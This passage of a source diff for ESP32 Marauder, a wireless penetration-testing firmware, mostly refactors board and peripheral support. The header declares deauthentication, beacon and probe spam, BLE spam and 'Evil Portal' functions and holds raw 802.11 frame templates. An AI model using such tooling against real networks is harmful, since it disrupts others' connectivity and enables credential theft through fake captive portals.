0x00, 0x00, // Status Code
0x7F, 0x08,
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
0x00
};*/
uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a,
0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd,
0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10,
0x00, 0x00, 0x00};
uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
@@ -237,6 +246,16 @@ class WiFiScan
0xf0, 0xff, 0x02, 0x00
};
bool seen_mac(unsigned char* mac);
bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
void save_mac(unsigned char* mac);
void clearMacHistory();
void executeWarDrive();
void executeSourApple();
void executeSwiftpairSpam();
void startWardriverWiFi();
void generateRandomMac(uint8_t* mac);
void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
void packetMonitorMain(uint32_t currentTime);
@@ -250,19 +269,14 @@ class WiFiScan
void sendProbeAttack(uint32_t currentTime);
void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
void broadcastRandomSSID(uint32_t currentTime);
void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
void broadcastSetSSID(uint32_t current_time, char* ESSID);
void broadcastSetSSID(uint32_t current_time, const char* ESSID);
void RunAPScan(uint8_t scan_mode, uint16_t color);
//void RunRickRoll(uint8_t scan_mode, uint16_t color);
//void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
//void RunProbeFlood(uint8_t scan_mode, uint16_t color);
//void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
void RunGPSInfo();
void RunMimicFlood(uint8_t scan_mode, uint16_t color);
//void RunBeaconList(uint8_t scan_mode, uint16_t color);
void RunEspressifScan(uint8_t scan_mode, uint16_t color);
void RunPwnScan(uint8_t scan_mode, uint16_t color);
void RunBeaconScan(uint8_t scan_mode, uint16_t color);
void RunRawScan(uint8_t scan_mode, uint16_t color);
@@ -272,12 +286,15 @@ class WiFiScan
void RunProbeScan(uint8_t scan_mode, uint16_t color);
void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
void RunSourApple(uint8_t scan_mode, uint16_t color);
void RunSwiftpairSpam(uint8_t scan_mode, uint16_t color);
void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
void RunEvilPortal(uint8_t scan_mode, uint16_t color);
bool checkMem();
#ifdef HAS_BT
static void scanCompleteCB(BLEScanResults scanResults);
#endif
//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
public:
WiFiScan();
@@ -286,9 +303,9 @@ class WiFiScan
//LinkedList<ssid>* ssids;
int set_channel = 1;
uint8_t set_channel = 1;
int old_channel = 0;
uint8_t old_channel = 0;
bool orient_display = false;
bool wifi_initialized = false;
@@ -301,11 +318,11 @@ class WiFiScan
String dst_mac = "ff:ff:ff:ff:ff:ff";
byte src_mac[6] = {};
//lv_obj_t * scr = lv_cont_create(NULL, NULL);
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
wifi_config_t ap_config;
String security_int_to_string(int security_type);
char* stringToChar(String string);
void RunSetup();
int clearSSIDs();
@@ -316,15 +333,14 @@ class WiFiScan
bool shutdownWiFi();
bool shutdownBLE();
bool scanning();
void joinWiFi(String ssid, String password);
//void joinWiFi(String ssid, String password);
String getStaMAC();
String getApMAC();
String freeRAM();
void changeChannel();
void changeChannel(int chan);
void RunInfo();
void RunShutdownWiFi();
void RunShutdownBLE();
//void RunShutdownBLE();
void RunGenerateSSIDs(int count = 20);
void RunClearSSIDs();
void RunClearAPs();
@@ -334,9 +350,10 @@ class WiFiScan
void main(uint32_t currentTime);
void StartScan(uint8_t scan_mode, uint16_t color = 0);
void StopScan(uint8_t scan_mode);
const char* generateRandomName();
//void addLog(String log, int len);
static void getMAC(char *addr, uint8_t* data, uint16_t offset);
static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

View File

@@ -1,69 +0,0 @@
#include "a32u4_interface.h"
HardwareSerial MySerial_two(2);
void A32u4Interface::begin() {
MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
delay(2000);
Serial.println("Setup A32U4 Serial Interface");
MySerial_two.println("DELAY 1");
delay(1000);
uint8_t a32u4_rep = 0;
if (MySerial_two.available()) {
a32u4_rep = (uint8_t)MySerial_two.read();
}
//display_string.trim();
//Serial.println("\nDisplay string: " + (String)display_string);
if (a32u4_rep != 0) {
this->supported = true;
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.tft.println("ATmega32U4 Found!");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
else {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println("ATmega32U4 Not Found");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
Serial.print("A32U4 Said: ");
Serial.println(a32u4_rep);
}
this->initTime = millis();
}
void A32u4Interface::runScript(String script) {
MySerial_two.println(script);
}
void A32u4Interface::test() {
MySerial_two.println("STRING Hello, World!");
}
void A32u4Interface::main(uint32_t current_time) {
if (current_time - this->initTime >= 1000) {
this->initTime = millis();
//MySerial_two.write("PING");
//delay(1);
if (MySerial_two.available()) {
Serial.println("Got A32U4 Serial data");
Serial.println(MySerial_two.read());
}
}
}

View File

@@ -1,30 +0,0 @@
#ifndef a32u4_interface_h
#define a32u4_interface_h
#include "configs.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include <HardwareSerial.h>
#define BAUD32U4 115200
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
class A32u4Interface {
public:
bool supported = false;
uint32_t initTime;
void begin();
void main(uint32_t current_time);
void test();
void runScript(String script);
};
#endif

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@@ -13,6 +13,8 @@ https://www.online-utility.org/image/convert/to/XBM
#endif
#include <WiFi.h>
//#include "Web.h"
#include "EvilPortal.h"
#include <Wire.h>
#include "esp_wifi.h"
#include "esp_wifi_types.h"
@@ -22,24 +24,42 @@ https://www.online-utility.org/image/convert/to/XBM
#include "esp_system.h"
#include <Arduino.h>
#ifdef HAS_GPS
#include "GpsInterface.h"
#endif
#include "Assets.h"
#include "WiFiScan.h"
#include "SDInterface.h"
#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "Buffer.h"
#include "BatteryInterface.h"
#include "TemperatureInterface.h"
#include "LedInterface.h"
#include "esp_interface.h"
#ifdef MARAUDER_FLIPPER
#include "flipperLED.h"
#elif defined(XIAO_ESP32_S3)
#include "xiaoLED.h"
#else
#include "LedInterface.h"
#endif
//#include "esp_interface.h"
#include "settings.h"
#include "CommandLine.h"
#include "lang_var.h"
#include "flipperLED.h"
#ifdef HAS_BATTERY
#include "BatteryInterface.h"
#endif
//#ifdef HAS_TEMP_SENSOR
// #include "TemperatureInterface.h"
//#endif
#ifdef HAS_SCREEN
#include "Display.h"
#include "MenuFunctions.h"
#include "a32u4_interface.h"
//#include "a32u4_interface.h"
#endif
#ifdef HAS_BUTTONS
@@ -64,30 +84,52 @@ https://www.online-utility.org/image/convert/to/XBM
#endif
WiFiScan wifi_scan_obj;
SDInterface sd_obj;
Web web_obj;
EvilPortal evil_portal_obj;
//Web web_obj;
Buffer buffer_obj;
BatteryInterface battery_obj;
TemperatureInterface temp_obj;
LedInterface led_obj;
EspInterface esp_obj;
//EspInterface esp_obj;
Settings settings_obj;
CommandLine cli_obj;
flipperLED flipper_led;
#ifdef HAS_GPS
GpsInterface gps_obj;
#endif
#ifdef HAS_BATTERY
BatteryInterface battery_obj;
#endif
//#ifdef HAS_TEMP_SENSOR
// TemperatureInterface temp_obj;
//#endif
#ifdef HAS_SCREEN
Display display_obj;
MenuFunctions menu_function_obj;
A32u4Interface a32u4_obj;
//A32u4Interface a32u4_obj;
#endif
#ifdef HAS_SD
SDInterface sd_obj;
#endif
#ifdef MARAUDER_M5STICKC
AXP192 axp192_obj;
#endif
#ifdef MARAUDER_FLIPPER
flipperLED flipper_led;
#elif defined(XIAO_ESP32_S3)
xiaoLED xiao_led;
#else
LedInterface led_obj;
#endif
const String PROGMEM version_number = MARAUDER_VERSION;
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#ifdef HAS_NEOPIXEL_LED
Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
#endif
uint32_t currentTime = 0;
@@ -139,20 +181,28 @@ void setup()
#ifdef HAS_SCREEN
digitalWrite(TFT_CS, HIGH);
#endif
pinMode(SD_CS, OUTPUT);
delay(10);
digitalWrite(SD_CS, HIGH);
#ifdef HAS_SD
pinMode(SD_CS, OUTPUT);
delay(10);
delay(10);
digitalWrite(SD_CS, HIGH);
delay(10);
#endif
Serial.begin(115200);
// Starts a second serial channel to stream the captured packets
#ifdef WRITE_PACKETS_SERIAL
// Starts a second serial channel to stream the captured packets
Serial1.begin(115200);
#ifdef XIAO_ESP32_S3
Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
#else
Serial1.begin(115200);
#endif
#endif
//Serial.println("\n\nHello, World!\n");
@@ -174,7 +224,11 @@ void setup()
// Draw the title screen
#ifdef HAS_SCREEN
display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
#ifndef MARAUDER_MINI
display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
#else
display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
#endif
#endif
#ifdef HAS_SCREEN
@@ -210,10 +264,6 @@ void setup()
settings_obj.begin();
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#endif
//Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting<uint8_t>("Channel"));
//if (settings_obj.loadSetting<bool>( "Force PMKID"))
// Serial.println("This is a test Force PMKID: true");
@@ -230,7 +280,7 @@ void setup()
#ifdef WRITE_PACKETS_SERIAL
buffer_obj = Buffer();
#else
#elif defined(HAS_SD)
// Do some SD stuff
if(sd_obj.initSD()) {
#ifdef HAS_SCREEN
@@ -244,24 +294,28 @@ void setup()
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
#else
return;
#endif
battery_obj.RunSetup();
#ifdef HAS_BATTERY
battery_obj.RunSetup();
#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[5]));
#endif
// Temperature stuff
#ifndef MARAUDER_FLIPPER
temp_obj.RunSetup();
#endif
//#ifdef HAS_TEMP_SENSOR
// temp_obj.RunSetup();
//#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[6]));
#endif
#ifndef MARAUDER_FLIPPER
#ifdef HAS_BATTERY
battery_obj.battery_level = battery_obj.getBatteryLevel();
// if (battery_obj.i2c_supported) {
@@ -272,7 +326,11 @@ void setup()
#endif
// Do some LED stuff
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.RunSetup();
#elif defined(XIAO_ESP32_S3)
xiao_led.RunSetup();
#else
led_obj.RunSetup();
#endif
@@ -282,6 +340,16 @@ void setup()
delay(500);
#endif
#ifdef HAS_GPS
gps_obj.begin();
#ifdef HAS_SCREEN
if (gps_obj.getGpsModuleStatus())
display_obj.tft.println("GPS Module connected");
else
display_obj.tft.println("GPS Module NOT connected");
#endif
#endif
#ifdef HAS_SCREEN
display_obj.tft.println(F(text_table0[8]));
@@ -300,7 +368,7 @@ void setup()
//Serial.println(F(" By: justcallmekoko\n"));
//Serial.println(F("--------------------------------\n\n"));
Serial.println("CLI Ready");
Serial.println(F("CLI Ready"));
cli_obj.RunSetup();
}
@@ -315,65 +383,76 @@ void loop()
#endif
// Update all of our objects
#ifdef HAS_SCREEN
/*#ifdef HAS_SCREEN
bool do_draw = display_obj.draw_tft;
#else
bool do_draw = false;
#endif*/
//if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
//{
cli_obj.main(currentTime);
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
#endif
wifi_scan_obj.main(currentTime);
//evil_portal_obj.main(wifi_scan_obj.currentScanMode);
#ifdef HAS_GPS
gps_obj.main();
#endif
if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
{
cli_obj.main(currentTime);
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
#endif
wifi_scan_obj.main(currentTime);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.forceSaveSerial();
#else
sd_obj.main();
#endif
#ifndef MARAUDER_FLIPPER
battery_obj.main(currentTime);
temp_obj.main(currentTime);
#endif
settings_obj.main(currentTime);
if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
(mini)) {
#ifdef HAS_SCREEN
menu_function_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
}
#ifndef MARAUDER_FLIPPER
led_obj.main(currentTime);
#endif
if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
web_obj.main();
#ifdef HAS_SCREEN
delay(1);
#else
delay(50);
#endif
}
#ifdef HAS_SCREEN
else if ((display_obj.draw_tft) &&
(wifi_scan_obj.currentScanMode != OTA_UPDATE))
{
display_obj.drawStylus();
}
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.forceSaveSerial();
#elif defined(HAS_SD)
sd_obj.main();
#else
return;
#endif
else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
#ifdef HAS_BATTERY
battery_obj.main(currentTime);
//temp_obj.main(currentTime);
#endif
settings_obj.main(currentTime);
if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
(mini)) {
#ifdef HAS_SCREEN
menu_function_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
}
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
// web_obj.main();
#ifdef HAS_SCREEN
delay(1);
#else
delay(50);
#endif
//}
/*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
#ifdef HAS_SCREEN
display_obj.main(wifi_scan_obj.currentScanMode);
menu_function_obj.main(currentTime);
#endif
#ifndef MARAUDER_FLIPPER
#ifdef MARAUDER_FLIPPER
flipper_led.main();
#elif defined(XIAO_ESP32_S3)
xiao_led.main();
#else
led_obj.main(currentTime);
#endif
//cli_obj.main(currentTime);
delay(1);
}
}*/
}

View File

@@ -1,135 +0,0 @@
#include "esp_interface.h"
HardwareSerial MySerial(1);
void EspInterface::begin() {
pinMode(ESP_RST, OUTPUT);
pinMode(ESP_ZERO, OUTPUT);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("Checking for ESP8266...");
MySerial.begin(BAUD, SERIAL_8N1, 27, 26);
delay(100);
#ifdef HAS_SCREEN
display_obj.tft.println("Checking for ESP8266...");
#endif
this->bootRunMode();
delay(500);
while (MySerial.available())
MySerial.read();
MySerial.write("PING");
delay(2000);
String display_string = "";
while (MySerial.available()) {
display_string.concat((char)MySerial.read());
}
display_string.trim();
Serial.println("\nDisplay string: " + (String)display_string);
if (display_string == "ESP8266 Pong") {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
display_obj.tft.println("ESP8266 Found!");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
Serial.println("ESP8266 Found!");
this->supported = true;
}
else {
#ifdef HAS_SCREEN
display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
display_obj.tft.println("ESP8266 Not Found");
display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
#endif
}
this->initTime = millis();
}
void EspInterface::RunUpdate() {
this->bootProgramMode();
#ifdef HAS_SCREEN
display_obj.tft.setTextWrap(true);
display_obj.tft.setFreeFont(NULL);
display_obj.tft.setCursor(0, 100);
display_obj.tft.setTextSize(1);
display_obj.tft.setTextColor(TFT_GREEN);
display_obj.tft.println("Waiting for serial data...");
display_obj.tft.setTextColor(TFT_WHITE);
#endif
}
void EspInterface::bootProgramMode() {
Serial.println("[!] Setting ESP12 in program mode...");
digitalWrite(ESP_ZERO, LOW);
delay(100);
digitalWrite(ESP_RST, LOW);
delay(100);
digitalWrite(ESP_RST, HIGH);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("[!] Complete");
Serial.end();
Serial.begin(57600);
}
void EspInterface::bootRunMode() {
Serial.end();
Serial.begin(115200);
Serial.println("[!] Setting ESP12 in run mode...");
digitalWrite(ESP_ZERO, HIGH);
delay(100);
digitalWrite(ESP_RST, LOW);
delay(100);
digitalWrite(ESP_RST, HIGH);
delay(100);
digitalWrite(ESP_ZERO, HIGH);
Serial.println("[!] Complete");
}
void EspInterface::program() {
if (MySerial.available()) {
Serial.write((uint8_t)MySerial.read());
}
if (Serial.available()) {
#ifdef HAS_SCREEN
display_obj.tft.print(".");
#endif
while (Serial.available()) {
MySerial.write((uint8_t)Serial.read());
}
}
}
void EspInterface::main(uint32_t current_time) {
if (current_time - this->initTime >= 1000) {
this->initTime = millis();
//MySerial.write("PING");
}
while (MySerial.available()) {
Serial.print((char)MySerial.read());
}
if (Serial.available()) {
MySerial.write((uint8_t)Serial.read());
}
}

View File

@@ -1,35 +0,0 @@
#ifndef esp_interface_h
#define esp_interface_h
#include "configs.h"
#ifdef HAS_SCREEN
#include "Display.h"
#endif
#include <HardwareSerial.h>
#define ESP_RST 14
#define ESP_ZERO 13
#define BAUD 115200
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
class EspInterface {
public:
bool supported = false;
uint32_t initTime;
void RunUpdate();
void bootProgramMode();
void bootRunMode();
void begin();
void program();
void main(uint32_t current_time);
};
#endif

View File

@@ -55,3 +55,7 @@ void flipperLED::offLED() {
digitalWrite(G_PIN, HIGH);
digitalWrite(R_PIN, HIGH);
}
void flipperLED::main() {
// do nothing
}

View File

@@ -16,6 +16,7 @@ class flipperLED {
public:
void RunSetup();
void main();
void attackLED();
void sniffLED();
void offLED();

View File

@@ -0,0 +1,53 @@
#include "xiaoLED.h"
void xiaoLED::RunSetup() {
pinMode(XIAO_LED_PIN, OUTPUT);
if (!settings_obj.loadSetting<bool>("EnableLED")) {
digitalWrite(XIAO_LED_PIN, HIGH);
return;
}
delay(50);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
delay(250);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
delay(250);
digitalWrite(XIAO_LED_PIN, LOW);
delay(500);
digitalWrite(XIAO_LED_PIN, HIGH);
}
void xiaoLED::attackLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
delay(300);
digitalWrite(XIAO_LED_PIN, LOW);
}
void xiaoLED::sniffLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
delay(300);
digitalWrite(XIAO_LED_PIN, LOW);
}
void xiaoLED::offLED() {
if (!settings_obj.loadSetting<bool>("EnableLED"))
return;
digitalWrite(XIAO_LED_PIN, HIGH);
}
void xiaoLED::main() {
// do nothing
}

23
esp32_marauder/xiaoLED.h Normal file
View File

@@ -0,0 +1,23 @@
#ifndef xiaoLED_H
#define xiaoLED_H
#include "configs.h"
#include "settings.h"
#include <Arduino.h>
#define XIAO_LED_PIN 21
extern Settings settings_obj;
class xiaoLED {
public:
void RunSetup();
void main();
void attackLED();
void sniffLED();
void offLED();
};
#endif /* xiaoLED_H */

View File

@@ -1,37 +0,0 @@
// the setup function runs once when you press reset or power the board
void setup() {
Serial.begin(115200);
delay(100);
// initialize digital pin LED_BUILTIN as an output.
pinMode(LED_BUILTIN, OUTPUT);
digitalWrite(LED_BUILTIN, HIGH);
}
// the loop function runs over and over again forever
void loop() {
//digitalWrite(LED_BUILTIN, HIGH); // turn the LED on (HIGH is the voltage level)
//delay(1000); // wait for a second
//digitalWrite(LED_BUILTIN, LOW); // turn the LED off by making the voltage LOW
//delay(1000); // wait for a second
if (Serial.available()) {
String input = Serial.readString();
input.trim();
if (input == "PING") {
Serial.println("ESP8266 Pong");
digitalWrite(LED_BUILTIN, LOW);
delay(1);
digitalWrite(LED_BUILTIN, HIGH);
}
//Serial.println(input);
}
else
delay(1);
}

BIN
mechanical/.DS_Store vendored Normal file

Binary file not shown.

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.1 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 613 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 MiB

BIN
pictures/icons/gps_16.bmp Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

BIN
pictures/icons/gps_22.bmp Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.2 KiB

6
pictures/xbm/gps_16.xbm Normal file
View File

@@ -0,0 +1,6 @@
#define f5dc88022d18492ea6769b98921e0a5aUvT7HPFFeGcrDDT7_width 16
#define f5dc88022d18492ea6769b98921e0a5aUvT7HPFFeGcrDDT7_height 16
static char f5dc88022d18492ea6769b98921e0a5aUvT7HPFFeGcrDDT7_bits[] = {
0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xF5, 0xEF, 0xEE, 0x57, 0xF7, 0x2F, 0xFA,
0x1F, 0xFC, 0x0F, 0xDE, 0x17, 0xD5, 0xBB, 0xD6, 0xDD, 0xDB, 0xEB, 0xEC,
0xF7, 0xF7, 0x7F, 0xF8, 0xFF, 0xFF, 0xFF, 0xFF, };

9
pictures/xbm/gps_22.xbm Normal file
View File

@@ -0,0 +1,9 @@
#define 824c3668a0844210c964e12f83c144e4dy8xmxKsVnnbTEOb_width 22
#define 824c3668a0844210c964e12f83c144e4dy8xmxKsVnnbTEOb_height 22
static char 824c3668a0844210c964e12f83c144e4dy8xmxKsVnnbTEOb_bits[] = {
0xFF, 0xFF, 0x3F, 0xFF, 0xBF, 0x3F, 0xFF, 0x5F, 0x3F, 0xFF, 0xEF, 0x3E,
0xFF, 0xF7, 0x3D, 0xBF, 0xFA, 0x3E, 0x5F, 0x7C, 0x3F, 0x3F, 0xB8, 0x3F,
0x1F, 0xD0, 0x3F, 0x3F, 0xE0, 0x3F, 0x5F, 0xF0, 0x3F, 0xEF, 0xE8, 0x3F,
0xF7, 0xE5, 0x3B, 0xFB, 0xDE, 0x3A, 0x7D, 0xFF, 0x3A, 0xBB, 0x7F, 0x3B,
0xD7, 0x9F, 0x3D, 0xEF, 0xFF, 0x3E, 0xFF, 0x0F, 0x3F, 0xFF, 0xFF, 0x3F,
0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0x3F, };